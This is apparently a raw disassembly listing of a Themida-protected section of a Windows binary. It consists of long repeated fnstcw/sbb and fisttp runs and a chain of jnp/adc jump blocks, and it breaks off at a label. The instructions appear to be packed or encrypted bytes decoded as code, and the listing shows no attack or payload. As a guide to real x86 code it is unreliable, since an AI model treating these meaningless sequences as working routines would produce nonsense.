		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		fnstcw	word ptr [edx-452680E4h]
		sbb	al, 7Fh
		jnb	short loc_613E09
		fisttp	qword ptr [ebx+esi*2+29h]
		fisttp	qword ptr [ebx+esi*2+29h]
		fisttp	qword ptr [ebx+esi*2+29h]
		fisttp	qword ptr [ebx+esi*2+29h]
		fisttp	qword ptr [ebx+esi*2+29h]
		fisttp	qword ptr [ebx+esi*2+29h]
		fisttp	qword ptr [ebx+esi*2+29h]
		fisttp	qword ptr [ebx+esi*2+29h]
		fisttp	qword ptr [ebp+ebp*8+7Bh]
		and	dl, [edx]
		in	eax, dx
		jnp	short loc_613E2B


loc_613E09:				; CODE XREF: Themida_:00613DDEj
		adc	ch, ch
		jnp	short loc_613E2F
		adc	ch, ch
		jnp	short loc_613E33
		adc	ch, ch
		jnp	short loc_613E37
		adc	ch, ch
		jnp	short loc_613E3B
		adc	ch, ch
		jnp	short loc_613E3F
		adc	ch, ch
		jnp	short loc_613E43
		adc	ch, ch
		jnp	short loc_613E47
		adc	ch, ch
		jnp	short loc_613E4B
		adc	ch, ch


loc_613E2B:				; CODE XREF: Themida_:00613E07j
		jnp	short loc_613E4F
		adc	ch, ch


loc_613E2F:				; CODE XREF: Themida_:00613E0Bj
		jnp	short loc_613E53
		adc	ch, ch


loc_613E33:				; CODE XREF: Themida_:00613E0Fj
		jnp	short loc_613E57
		adc	ch, ch


loc_613E37:				; CODE XREF: Themida_:00613E13j
		jnp	short loc_613E5B
		adc	ch, ch


loc_613E3B:				; CODE XREF: Themida_:00613E17j
		jnp	short loc_613E5F
		adc	ch, ch


loc_613E3F:				; CODE XREF: Themida_:00613E1Bj
		jnp	short loc_613E63
		adc	ch, ch


loc_613E43:				; CODE XREF: Themida_:00613E1Fj
		jnp	short loc_613E67
		adc	ch, ch


loc_613E47:				; CODE XREF: Themida_:00613E23j
		jnp	short loc_613E6B
		adc	ch, ch


loc_613E4B:				; CODE XREF: Themida_:00613E27j
		jnp	short loc_613E6F
		adc	ch, ch


loc_613E4F:				; CODE XREF: Themida_:loc_613E2Bj
		jnp	short loc_613E73
		adc	ch, ch


loc_613E53:				; CODE XREF: Themida_:loc_613E2Fj
		jnp	short loc_613E77
		adc	ch, ch


loc_613E57:				; CODE XREF: Themida_:loc_613E33j
		jnp	short loc_613E7B
		adc	ch, ch


loc_613E5B:				; CODE XREF: Themida_:loc_613E37j
		jnp	short loc_613E7F
		adc	ch, ch


loc_613E5F:				; CODE XREF: Themida_:loc_613E3Bj
		jnp	short loc_613E83
		adc	ch, ch


loc_613E63:				; CODE XREF: Themida_:loc_613E3Fj
		jnp	short loc_613E87
		adc	ch, ch


loc_613E67:				; CODE XREF: Themida_:loc_613E43j
		jnp	short loc_613E8B
		adc	ch, ch


loc_613E6B:				; CODE XREF: Themida_:loc_613E47j
		jnp	short loc_613E8F
		adc	ch, ch


loc_613E6F:				; CODE XREF: Themida_:loc_613E4Bj
		jnp	short loc_613E93
		adc	ch, ch


loc_613E73:				; CODE XREF: Themida_:loc_613E4Fj
		jnp	short loc_613E97
		adc	ch, ch


loc_613E77:				; CODE XREF: Themida_:loc_613E53j
		jnp	short loc_613E9B
		adc	ch, ch


loc_613E7B:				; CODE XREF: Themida_:loc_613E57j
		jnp	short loc_613E9F
		adc	ch, ch


loc_613E7F:				; CODE XREF: Themida_:loc_613E5Bj
		jnp	short loc_613EA3
		adc	ch, ch


loc_613E83:				; CODE XREF: Themida_:loc_613E5Fj
		jnp	short loc_613EA7
		adc	ch, ch


loc_613E87:				; CODE XREF: Themida_:loc_613E63j
		jnp	short loc_613EAB
		adc	ch, ch


loc_613E8B:				; CODE XREF: Themida_:loc_613E67j
		jnp	short loc_613EAF
		adc	ch, ch


loc_613E8F:				; CODE XREF: Themida_:loc_613E6Bj
		jnp	short loc_613EB3
		adc	ch, ch


loc_613E93:				; CODE XREF: Themida_:loc_613E6Fj
		jnp	short loc_613EB7
		adc	ch, ch


loc_613E97:				; CODE XREF: Themida_:loc_613E73j
		jnp	short loc_613EBB
		adc	ch, ch


loc_613E9B:				; CODE XREF: Themida_:loc_613E77j
		jnp	short loc_613EBF
		adc	ch, ch


loc_613E9F:				; CODE XREF: Themida_:loc_613E7Bj
		jnp	short loc_613EC3
		adc	ch, ch


loc_613EA3:				; CODE XREF: Themida_:loc_613E7Fj
		jnp	short loc_613EC7
		adc	ch, ch


loc_613EA7:				; CODE XREF: Themida_:loc_613E83j
		jnp	short loc_613ECB
		adc	ch, ch


loc_613EAB:				; CODE XREF: Themida_:loc_613E87j
		jnp	short loc_613ECF
		adc	ch, ch


loc_613EAF:				; CODE XREF: Themida_:loc_613E8Bj
		jnp	short loc_613ED3
		adc	ch, ch


loc_613EB3:				; CODE XREF: Themida_:loc_613E8Fj
		jnp	short loc_613ED7
		adc	ch, ch


loc_613EB7:				; CODE XREF: Themida_:loc_613E93j
		jnp	short loc_613EDB
		adc	ch, ch


loc_613EBB:				; CODE XREF: Themida_:loc_613E97j
		jnp	short loc_613EDF
		adc	ch, ch


loc_613EBF:				; CODE XREF: Themida_:loc_613E9Bj
		jnp	short loc_613EE3
		adc	ch, ch


loc_613EC3:				; CODE XREF: Themida_:loc_613E9Fj
		jnp	short loc_613EE7
		adc	ch, ch


loc_613EC7:				; CODE XREF: Themida_:loc_613EA3j
		jnp	short loc_613EEB
		adc	ch, ch


loc_613ECB:				; CODE XREF: Themida_:loc_613EA7j
		jnp	short loc_613EEF
		adc	ch, ch


loc_613ECF:				; CODE XREF: Themida_:loc_613EABj
		jnp	short loc_613EF3
		adc	ch, ch


loc_613ED3:				; CODE XREF: Themida_:loc_613EAFj
		jnp	short loc_613EF7
		adc	ch, ch


loc_613ED7:				; CODE XREF: Themida_:loc_613EB3j
		jnp	short loc_613EFB
		adc	ch, ch


loc_613EDB:				; CODE XREF: Themida_:loc_613EB7j
		jnp	short loc_613EFF
		adc	ch, ch


loc_613EDF:				; CODE XREF: Themida_:loc_613EBBj
		jnp	short loc_613F03
		adc	ch, ch


loc_613EE3:				; CODE XREF: Themida_:loc_613EBFj
		jnp	short loc_613F07
		adc	ch, ch


loc_613EE7:				; CODE XREF: Themida_:loc_613EC3j
		jnp	short loc_613F0B
		adc	ch, ch


loc_613EEB:				; CODE XREF: Themida_:loc_613EC7j
		jnp	short loc_613F0F
		adc	ch, ch


loc_613EEF:				; CODE XREF: Themida_:loc_613ECBj
		jnp	short loc_613F13
		adc	ch, ch


loc_613EF3:				; CODE XREF: Themida_:loc_613ECFj
		jnp	short loc_613F17
		adc	ch, ch


loc_613EF7:				; CODE XREF: Themida_:loc_613ED3j
		jnp	short loc_613F1B
		adc	ch, ch


loc_613EFB:				; CODE XREF: Themida_:loc_613ED7j
		jnp	short loc_613F1F
		adc	ch, ch


loc_613EFF:				; CODE XREF: Themida_:loc_613EDBj
		jnp	short loc_613F23
		adc	ch, ch


loc_613F03:				; CODE XREF: Themida_:loc_613EDFj
		jnp	short loc_613F27
		adc	ch, ch


loc_613F07:				; CODE XREF: Themida_:loc_613EE3j
		jnp	short loc_613F2B
		adc	ch, ch


loc_613F0B:				; CODE XREF: Themida_:loc_613EE7j
		jnp	short loc_613F2F
		adc	ch, ch


loc_613F0F:				; CODE XREF: Themida_:loc_613EEBj
		jnp	short loc_613F33
		adc	ch, ch


loc_613F13:				; CODE XREF: Themida_:loc_613EEFj
		jnp	short loc_613F37
		adc	ch, ch


loc_613F17:				; CODE XREF: Themida_:loc_613EF3j
		jnp	short loc_613F3B
		adc	ch, ch


loc_613F1B:				; CODE XREF: Themida_:loc_613EF7j
		jnp	short loc_613F3F
		adc	ch, ch


loc_613F1F:				; CODE XREF: Themida_:loc_613EFBj
		jnp	short loc_613F43
		adc	ch, ch


loc_613F23:				; CODE XREF: Themida_:loc_613EFFj
		jnp	short loc_613F47
		adc	ch, ch


loc_613F27:				; CODE XREF: Themida_:loc_613F03j
		jnp	short loc_613F4B
		adc	ch, ch


loc_613F2B:				; CODE XREF: Themida_:loc_613F07j
		jnp	short loc_613F4F
		adc	ch, ch


loc_613F2F:				; CODE XREF: Themida_:loc_613F0Bj
		jnp	short loc_613F53
		adc	ch, ch


loc_613F33:				; CODE XREF: Themida_:loc_613F0Fj
		jnp	short loc_613F57
		adc	ch, ch


loc_613F37:				; CODE XREF: Themida_:loc_613F13j
		jnp	short loc_613F5B
		adc	ch, ch


loc_613F3B:				; CODE XREF: Themida_:loc_613F17j
		jnp	short loc_613F5F
		adc	ch, ch


loc_613F3F:				; CODE XREF: Themida_:loc_613F1Bj
		jnp	short loc_613F63
		adc	ch, ch


loc_613F43:				; CODE XREF: Themida_:loc_613F1Fj
		jnp	short loc_613F67
		adc	ch, ch


loc_613F47:				; CODE XREF: Themida_:loc_613F23j
		jnp	short loc_613F6B
		adc	ch, ch


loc_613F4B:				; CODE XREF: Themida_:loc_613F27j
		jnp	short loc_613F6F
		adc	ch, ch


loc_613F4F:				; CODE XREF: Themida_:loc_613F2Bj
		jnp	short loc_613F73
		adc	ch, ch


loc_613F53:				; CODE XREF: Themida_:loc_613F2Fj
		jnp	short loc_613F77
		adc	ch, ch


loc_613F57:				; CODE XREF: Themida_:loc_613F33j
		jnp	short loc_613F7B
		adc	ch, ch


loc_613F5B:				; CODE XREF: Themida_:loc_613F37j
		jnp	short loc_613F7F
		adc	ch, ch


loc_613F5F:				; CODE XREF: Themida_:loc_613F3Bj
		jnp	short loc_613F83
		adc	ch, ch


loc_613F63:				; CODE XREF: Themida_:loc_613F3Fj
		jnp	short loc_613F87
		adc	ch, ch


loc_613F67:				; CODE XREF: Themida_:loc_613F43j
		jnp	short loc_613F8B
		adc	ch, ch


loc_613F6B:				; CODE XREF: Themida_:loc_613F47j
		jnp	short loc_613F8F
		adc	ch, ch


loc_613F6F:				; CODE XREF: Themida_:loc_613F4Bj
		jnp	short loc_613F93
		adc	ch, ch


loc_613F73:				; CODE XREF: Themida_:loc_613F4Fj
		jnp	short loc_613F97
		adc	ch, ch


loc_613F77:				; CODE XREF: Themida_:loc_613F53j
		jnp	short loc_613F9B
		adc	ch, ch


loc_613F7B:				; CODE XREF: Themida_:loc_613F57j
		jnp	short loc_613F9F
		adc	ch, ch


loc_613F7F:				; CODE XREF: Themida_:loc_613F5Bj
		jnp	short loc_613FA3
		adc	ch, ch


loc_613F83:				; CODE XREF: Themida_:loc_613F5Fj
		jnp	short loc_613FA7
		adc	ch, ch


loc_613F87:				; CODE XREF: Themida_:loc_613F63j
		jnp	short loc_613FAB
		adc	ch, ch


loc_613F8B:				; CODE XREF: Themida_:loc_613F67j
		jnp	short loc_613FAF
		adc	ch, ch


loc_613F8F:				; CODE XREF: Themida_:loc_613F6Bj
		jnp	short loc_613FB3
		adc	ch, ch


loc_613F93:				; CODE XREF: Themida_:loc_613F6Fj
		jnp	short loc_613FB7
		adc	ch, ch


loc_613F97:				; CODE XREF: Themida_:loc_613F73j
		jnp	short loc_613FBB
		adc	ch, ch


loc_613F9B:				; CODE XREF: Themida_:loc_613F77j
		jnp	short loc_613FBF
		adc	ch, ch


loc_613F9F:				; CODE XREF: Themida_:loc_613F7Bj
		jnp	short loc_613FC3
		adc	ch, ch


loc_613FA3:				; CODE XREF: Themida_:loc_613F7Fj
		jnp	short loc_613FC7
		adc	ch, ch


loc_613FA7:				; CODE XREF: Themida_:loc_613F83j
		jnp	short loc_613FCB
		adc	ch, ch


loc_613FAB:				; CODE XREF: Themida_:loc_613F87j
		jnp	short loc_613FCF
		adc	ch, ch


loc_613FAF:				; CODE XREF: Themida_:loc_613F8Bj
		jnp	short loc_613FD3
		adc	ch, ch


loc_613FB3:				; CODE XREF: Themida_:loc_613F8Fj
		jnp	short loc_613FD7
		adc	ch, ch


loc_613FB7:				; CODE XREF: Themida_:loc_613F93j
		jnp	short loc_613FDB
		adc	ch, ch


loc_613FBB:				; CODE XREF: Themida_:loc_613F97j
		jnp	short loc_613FDF
		adc	ch, ch


loc_613FBF:				; CODE XREF: Themida_:loc_613F9Bj
		jnp	short loc_613FE3
		adc	ch, ch


loc_613FC3:				; CODE XREF: Themida_:loc_613F9Fj
		jnp	short loc_613FE7
		adc	ch, ch


loc_613FC7:				; CODE XREF: Themida_:loc_613FA3j
		jnp	short loc_613FEB
		adc	ch, ch


loc_613FCB:				; CODE XREF: Themida_:loc_613FA7j
		jnp	short loc_613FEF
		adc	ch, ch


loc_613FCF:				; CODE XREF: Themida_:loc_613FABj
		jnp	short loc_613FF3
		adc	ch, ch


loc_613FD3:				; CODE XREF: Themida_:loc_613FAFj
		jnp	short loc_613FF7
		adc	ch, ch


loc_613FD7:				; CODE XREF: Themida_:loc_613FB3j
		jnp	short loc_613FFB
		adc	ch, ch


loc_613FDB:				; CODE XREF: Themida_:loc_613FB7j
		jnp	short loc_613FFF
		adc	ch, ch


loc_613FDF:				; CODE XREF: Themida_:loc_613FBBj
		jnp	short loc_614003
		adc	ch, ch


loc_613FE3:				; CODE XREF: Themida_:loc_613FBFj
		jnp	short loc_614007
		adc	ch, ch


loc_613FE7:				; CODE XREF: Themida_:loc_613FC3j
		jnp	short loc_61400B
		adc	ch, ch


loc_613FEB:				; CODE XREF: Themida_:loc_613FC7j
		jnp	short loc_61400F
		adc	ch, ch


loc_613FEF:				; CODE XREF: Themida_:loc_613FCBj
		jnp	short loc_614013
		adc	ch, ch


loc_613FF3:				; CODE XREF: Themida_:loc_613FCFj
		jnp	short loc_614017
		adc	ch, ch


loc_613FF7:				; CODE XREF: Themida_:loc_613FD3j
		jnp	short loc_61401B
		adc	ch, ch


loc_613FFB:				; CODE XREF: Themida_:loc_613FD7j
		jnp	short loc_61401F
		adc	ch, ch


loc_613FFF:				; CODE XREF: Themida_:loc_613FDBj
		jnp	short loc_614023
		adc	ch, ch


loc_614003:				; CODE XREF: Themida_:loc_613FDFj
		jnp	short loc_614027
		adc	ch, ch


loc_614007:				; CODE XREF: Themida_:loc_613FE3j
		jnp	short loc_61402B
		adc	ch, ch


loc_61400B:				; CODE XREF: Themida_:loc_613FE7j
		jnp	short loc_61402F
		adc	ch, ch


loc_61400F:				; CODE XREF: Themida_:loc_613FEBj
		jnp	short loc_614033
		adc	ch, ch


loc_614013:				; CODE XREF: Themida_:loc_613FEFj
		jnp	short loc_614037
		adc	ch, ch


loc_614017:				; CODE XREF: Themida_:loc_613FF3j
		jnp	short loc_61403B
		adc	ch, ch


loc_61401B:				; CODE XREF: Themida_:loc_613FF7j
		jnp	short loc_61403F
		adc	ch, ch


loc_61401F:				; CODE XREF: Themida_:loc_613FFBj
		jnp	short loc_614043
		adc	ch, ch


loc_614023:				; CODE XREF: Themida_:loc_613FFFj
		jnp	short loc_614047
		adc	ch, ch


loc_614027:				; CODE XREF: Themida_:loc_614003j
		jnp	short loc_61404B
		adc	ch, ch


loc_61402B:				; CODE XREF: Themida_:loc_614007j
		jnp	short loc_61404F
		adc	ch, ch


loc_61402F:				; CODE XREF: Themida_:loc_61400Bj
		jnp	short loc_614053
		adc	ch, ch


loc_614033:				; CODE XREF: Themida_:loc_61400Fj
		jnp	short loc_614057
		adc	ch, ch


loc_614037:				; CODE XREF: Themida_:loc_614013j
		jnp	short loc_61405B
		adc	ch, ch


loc_61403B:				; CODE XREF: Themida_:loc_614017j
		jnp	short loc_61405F
		adc	ch, ch


loc_61403F:				; CODE XREF: Themida_:loc_61401Bj
		jnp	short loc_614063
		adc	ch, ch


loc_614043:				; CODE XREF: Themida_:loc_61401Fj
		jnp	short loc_614067
		adc	ch, ch


loc_614047:				; CODE XREF: Themida_:loc_614023j
		jnp	short loc_61406B
		adc	ch, ch


loc_61404B:				; CODE XREF: Themida_:loc_614027j
		jnp	short loc_61406F
		adc	ch, ch


loc_61404F:				; CODE XREF: Themida_:loc_61402Bj
		jnp	short loc_614073
		adc	ch, ch


loc_614053:				; CODE XREF: Themida_:loc_61402Fj
		jnp	short loc_614077
		adc	ch, ch


loc_614057:				; CODE XREF: Themida_:loc_614033j
		jnp	short loc_61407B
		adc	ch, ch


loc_61405B:				; CODE XREF: Themida_:loc_614037j
		jnp	short loc_61407F
		adc	ch, ch


loc_61405F:				; CODE XREF: Themida_:loc_61403Bj
		jnp	short loc_614083
		adc	ch, ch


loc_614063:				; CODE XREF: Themida_:loc_61403Fj
		jnp	short loc_614087
		adc	ch, ch


loc_614067:				; CODE XREF: Themida_:loc_614043j
		jnp	short loc_61408B
		adc	ch, ch


loc_61406B:				; CODE XREF: Themida_:loc_614047j
		jnp	short loc_61408F
		adc	ch, ch


loc_61406F:				; CODE XREF: Themida_:loc_61404Bj
		jnp	short loc_614093
		adc	ch, ch


loc_614073:				; CODE XREF: Themida_:loc_61404Fj
		jnp	short loc_614097
		adc	ch, ch


loc_614077:				; CODE XREF: Themida_:loc_614053j
		jnp	short loc_61409B
		adc	ch, ch


loc_61407B:				; CODE XREF: Themida_:loc_614057j
		jnp	short loc_61409F
		adc	ch, ch


loc_61407F:				; CODE XREF: Themida_:loc_61405Bj
		jnp	short loc_6140A3
		adc	ch, ch


loc_614083:				; CODE XREF: Themida_:loc_61405Fj
		jnp	short loc_6140A7
		adc	ch, ch


loc_614087:				; CODE XREF: Themida_:loc_614063j
		jnp	short loc_6140AB
		adc	ch, ch


loc_61408B:				; CODE XREF: Themida_:loc_614067j
		jnp	short loc_6140AF
		adc	ch, ch


loc_61408F:				; CODE XREF: Themida_:loc_61406Bj
		jnp	short loc_6140B3
		adc	ch, ch


loc_614093:				; CODE XREF: Themida_:loc_61406Fj
		jnp	short loc_6140B7
		adc	ch, ch


loc_614097:				; CODE XREF: Themida_:loc_614073j
		jnp	short loc_6140BB
		adc	ch, ch


loc_61409B:				; CODE XREF: Themida_:loc_614077j
		jnp	short loc_6140BF
		adc	ch, ch


loc_61409F:				; CODE XREF: Themida_:loc_61407Bj
		jnp	short loc_6140C3
		adc	ch, ch


loc_6140A3:				; CODE XREF: Themida_:loc_61407Fj
		jnp	short loc_6140C7
		adc	ch, ch


loc_6140A7:				; CODE XREF: Themida_:loc_614083j
		jnp	short loc_6140CB
		adc	ch, ch


loc_6140AB:				; CODE XREF: Themida_:loc_614087j
		jnp	short loc_6140CF
		adc	ch, ch


loc_6140AF:				; CODE XREF: Themida_:loc_61408Bj
		jnp	short loc_6140D3
		adc	ch, ch


loc_6140B3:				; CODE XREF: Themida_:loc_61408Fj
		jnp	short loc_6140D7
		adc	ch, ch


loc_6140B7:				; CODE XREF: Themida_:loc_614093j
		jnp	short loc_6140DB
		adc	ch, ch


loc_6140BB:				; CODE XREF: Themida_:loc_614097j
		jnp	short loc_6140DF
		adc	ch, ch


loc_6140BF:				; CODE XREF: Themida_:loc_61409Bj
